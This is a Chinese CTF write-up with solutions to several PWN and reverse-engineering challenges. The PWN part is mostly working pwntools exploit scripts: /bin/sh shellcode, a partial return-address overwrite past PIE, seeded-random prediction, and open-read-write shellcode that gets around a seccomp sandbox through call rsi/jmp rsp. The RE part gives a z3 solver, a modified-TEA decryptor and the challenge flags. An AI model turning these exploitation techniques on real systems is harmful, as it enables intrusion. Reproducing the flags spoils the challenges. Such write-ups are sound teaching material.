[TOC]
PWN
ezshellcode
- 使用mprotect()函数给bss段赋了rwx权限
- 限制shellcode长度小于37个字节
使用小于37字节的shellcode即可
exp:
from pwn import *
io = process("./pwn")
#io = remote('node3.anna.nssctf.cn', 28729)
sh = b"\x48\x31\xd2"
sh += b"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
sh += b"\x48\xc1\xeb\x08"
sh += b"\x53"
sh += b"\x48\x89\xe7"
sh += b"\x50"
sh += b"\x57"
sh += b"\x48\x89\xe6"
sh += b"\xb0\x3b"
sh += b"\x0f\x05"
io.sendafter(b'Please.\n', sh)
io.sendafter(b'start!\n', b'A'*0xA + b'deedbeef'+ p64(0x6010A0))
io.interactive()
easypwn
- 存在后门函数
- 开启了PIE保护
覆盖返回地址的低两个字节为后门函数的低两个字节从而绕过PIE
原理:PIE只会使得低12位随机化
exp1:
from pwn import *
io = process("./easypwn")
#io = remote('node5.anna.nssctf.cn', 28121)
payload = b'A'*0x1F + b'deadbeef' + b'\xD5\x11'
io.sendline(payload)
io.interactive()
官方解:因为最后是否执行后门函数由v5的值确定的,所以我们可以通过溢出覆盖v5的值为1即可;
exp2:
from pwn import *
io = process("./easypwn")
#io = remote('node5.anna.nssctf.cn', 28121)
payload = b'A'*(0x1F-4) + p64(1)
io.sendline(payload)
io.interactive()
120
- 伪随机数,有三个固定的种子,所以我们每次有三分之一的机会成功
- 也可以用cdll模拟
exp:
from pwn import *
from ctypes import *
context.log_level = 'debug'
io = process("./bin")
#io = remote('node2.anna.nssctf.cn', 28623)
ans1 = [4,3,2,2,3,3,1,1,2,4,3,4,3,1,2,2,4,2,2,2,4,2,3,2,1,4,3,1,4,2,1,3,4,3,1,2,1,1,2,2,4,4,2,3,4,3,4,4,1,1,1,4,2,3,1,3,2,3,3,2,4,4,4,3,2,4,4,2,4,1,3,4,1,4,2,4,3,1,3,3,1,3,2,3,2,2,1,3,4,3,4,3,2,4,1,3,3,4,4,3,4,3,2,4,2,3,4,4,3,2,2,3,1,3,1,2,4,1,4,3]
ans2 = [1,1,1,3,1,3,4,1,4,4,2,3,3,2,4,2,3,2,4,3,1,4,2,4,3,2,3,1,4,2,4,4,3,4,3,3,2,2,3,2,1,4,4,4,1,3,1,3,1,1,2,1,4,3,1,2,4,3,3,3,1,2,3,3,2,1,1,3,2,4,4,3,3,4,2,4,2,2,2,2,2,3,3,2,1,3,3,1,1,1,3,1,3,1,3,4,1,4,2,3,3,2,1,1,1,2,4,2,3,2,4,1,4,2,2,1,4,4,1,4]
ans3 = [2,3,1,3,2,2,1,3,2,2,4,2,1,4,2,2,3,2,1,3,3,2,4,2,4,2,1,1,3,1,1,1,4,2,3,1,3,4,3,4,1,2,1,1,1,3,2,3,4,3,1,3,4,4,4,3,1,1,4,4,1,4,4,4,1,2,4,3,1,2,3,1,3,3,2,3,1,3,1,1,1,1,3,1,4,2,3,1,2,2,4,3,2,3,2,2,4,2,1,1,3,3,1,2,1,2,4,2,1,1,2,1,1,4,1,1,1,4,1,3]
#cs=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
#cs.srand(cs.time(0))
#v = cs.rand()
#cs.srand(v%3-1522127470)
for i in range(len(ans1)):
print(i+1)
#io.sendline(str(cs.rand() % 4 + 1))
io.sendline(str(ans2[i]))
print(io.recv())
io.interactive()
random
- 开了沙盒,禁掉了execv函数
- 时间种子产生随机数,有100次机会
- 保护全关
- 存在
call rsi
,jmp rsp
指令
(爆破+)orw
cdll模拟
程序漏洞点:
程序存在栈溢出,但是溢出字节只有 0x40 - 0x20 - 0x8 = 0x18字节,且buf只有 0x28个字节,不足以写下orw;所以我们得想办法把orw写到栈上的某个位置,然后在将程序执行流劫持过去
但是栈地址怎么确定呢?秒,太妙了
在vulnerable函数中,最后调用了read函数,由64位传参可以知道:rsi = buf_addr;并且经过动态调试可以发现,在read函数执行完后,rsi的值并没有改变,依然指向buf开始的地址,而rsi又是read的第二个参数,所以我们只需要让rsi+xx
就可以把orw写入栈上了,所以我们根本不用泄漏栈地址
最终思路如下:
我们将read函数写入buf开始处,然后将返回地址覆盖为call rsi或者利用sub rsp,xx;jmp rsp
,所以最后程序会跳到buf处并执行read函数将orw写入栈中某个位置A处,然后在call rsi;(或jmp rsi)
将执行流劫持到orw处即A处
当然我们也可也泄漏栈地址:即泄漏寄存器中的栈地址
exp:这个脚本远程call rsi;jmp rsp
都可以通;但是本地call rsi
通不了,但是使用jmp rsp
可以通>_<
from pwn import *
from ctypes import *
context.binary = "./RANDOM"
io = process("./RANDOM")
io = remote("node2.anna.nssctf.cn", 28511)
elf = ELF("./RANDOM")
libc = elf.libc
jmp_rsp = 0x000000000040094e #jmp rsp
call_rsi = 0x0000000000400c23 #call rsi
cs = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
cs.srand(cs.time(0))
#ORW组合,大小为0x50
flag_addr = elf.bss() + 0x200
orw = asm(shellcraft.open('/flag'))
orw += asm(shellcraft.read('rax', flag_addr, 0x50))
orw += asm(shellcraft.write(1, flag_addr, 0x50))
shellcode = '''
xor rax, rax
xor rdi, rdi
add rsi, 0x100 /*程序执行完自己的read函数后,rsi的值仍然指向buf开始处,所以这里我们给rsi+0x100这个地址还是在栈上*/
push 0x100
pop rdx
syscall
jmp rsi
'''
#payload = asm(shellcode).ljust(0x28, b'A') + p64(jmp_rsp) + asm('sub rsp,0x30;jmp rsp')
payload = asm(shellcode).ljust(0x28, b'A') + p64(call_rsi)
io.sendlineafter(b'num:\n', str(cs.rand()%50).encode())
io.sendafter(b'door\n', payload)
io.send(orw)
io.interactive()
RE
Check_your_luck
z3求解方程组
from z3 import *
v, w, x, y, z = Ints('v w x y z')
ans = Solver()
ans.add(v * 23 + w * -32 + x * 98 + y * 55 + z * 90 == 333322)
ans.add(v * 123 + w * -322 + x * 68 + y * 67 + z * 32 == 707724)
ans.add(v * 266 + w * -34 + x * 43 + y * 8 + z * 32 == 1272529)
ans.add(v * 343 + w * -352 + x * 58 + y * 65 + z * 5 == 1672457)
ans.add(v * 231 + w * -321 + x * 938 + y * 555 + z * 970 == 3372367)
check = ans.check()#4、检测是否有解(有解sat、无解unsat)
print(check)
model = ans.model()#5、取出所有结果,一个ModelRef类,
print(model)
"NSSCTF{4544_123_677_1754_777}"
tea
魔改tea,可以找到key和密文
- key = [2233, 4455, 6677, 8899]
- 密文v8:
v8[0] = 0x1A800BDA;
v8[1] = 0xF7A6219B;
v8[2] = 0x491811D8;
v8[3] = 0xF2013328;
v8[4] = 0x156C365B;
v8[5] = 0x3C6EAAD8;
v8[6] = 0x84D4BF28;
v8[7] = 0xF11A7EE7;
v8[8] = 0x3313B252;
v8[9] = 0xDD9FE279;
加密算法如下:注意do_while循环一共执行了33次
将解密后的数据逐字节输出:
#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
int sub_140011900(uint32_t *a1, uint32_t *key)
{
int v3; // [rsp+44h] [rbp+24h]
int i; // [rsp+64h] [rbp+44h]
unsigned int v5; // [rsp+84h] [rbp+64h]
unsigned int v6; // [rsp+C4h] [rbp+A4h]
for (i = 8; i >= 0; --i)
{
v5 = 0;
v6 = 0xF462900 * (i + 33); //do_while一共执行了33次哦
v3 = i + 1;
do
{
++v5;
v6 -= 0xF462900;
a1[v3] -= (v6 + key[(v6 >> 11) & 3]) ^ (a1[i] + ((a1[i] >> 5) ^ (16 * a1[i])));
a1[i] -= v6 ^ (a1[v3] + ((a1[v3] >> 5) ^ (16 * a1[v3]))) ^ (v6 + key[v6&3]);
} while (v5 <= 0x20);
}
return 0;
}
int main() {
uint32_t key[4] = { 2233, 4455, 6677, 8899 };
uint32_t v8[10];
v8[0] = 0x1A800BDA;
v8[1] = 0xF7A6219B;
v8[2] = 0x491811D8;
v8[3] = 0xF2013328;
v8[4] = 0x156C365B;
v8[5] = 0x3C6EAAD8;
v8[6] = 0x84D4BF28;
v8[7] = 0xF11A7EE7;
v8[8] = 0x3313B252;
v8[9] = 0xDD9FE279;
sub_140011900(v8, key);
for (int k = 0; k < 10; ++k)
{
for (int m = 3; m >= 0; --m)
printf("%c", (v8[k] >> (8 * m)) & 0xff);
}
//HZCTF{hzCtf_94_re666fingcry5641qq}
return 0;
}
doublegame – 暂时有点没搞懂这个迷宫的逻辑
迷宫题套了个贪吃蛇:flag = HZCTF{md5(path)+score}
找到贪吃蛇分数比较逻辑:score = 13371337
迷宫地图:
000000000000000000000
0 0 0 0 0 0 0
0 0 0 00000 00000 0 0
0 0 0 0
0 000 000 0 000 0 0 0
0 0 0 0 0 0 0 0
0 0 0 00000 000 000 0
0 0 0 0 0 0
0 000 0 0 000 0 0 0 0
0 0 0 0 0 0 0 0 0
0 00000 000 000 0 0 0
0 0 0 0 0
000 0 0 0 000 0 0 0 0
0 0 0 0 0 0 * 0 0 0 0
0 0000000 0 000 00000
@ 0 0 0 0
0 0 0 0 0 00000000000
0 0 0 0 0
000 0 00000 0 000 000
0 0 0 0 0
000000000000000000000
/*dddssssddwwwwddssddwwwwwwddddssaassddddwwwwddwwwwddd*/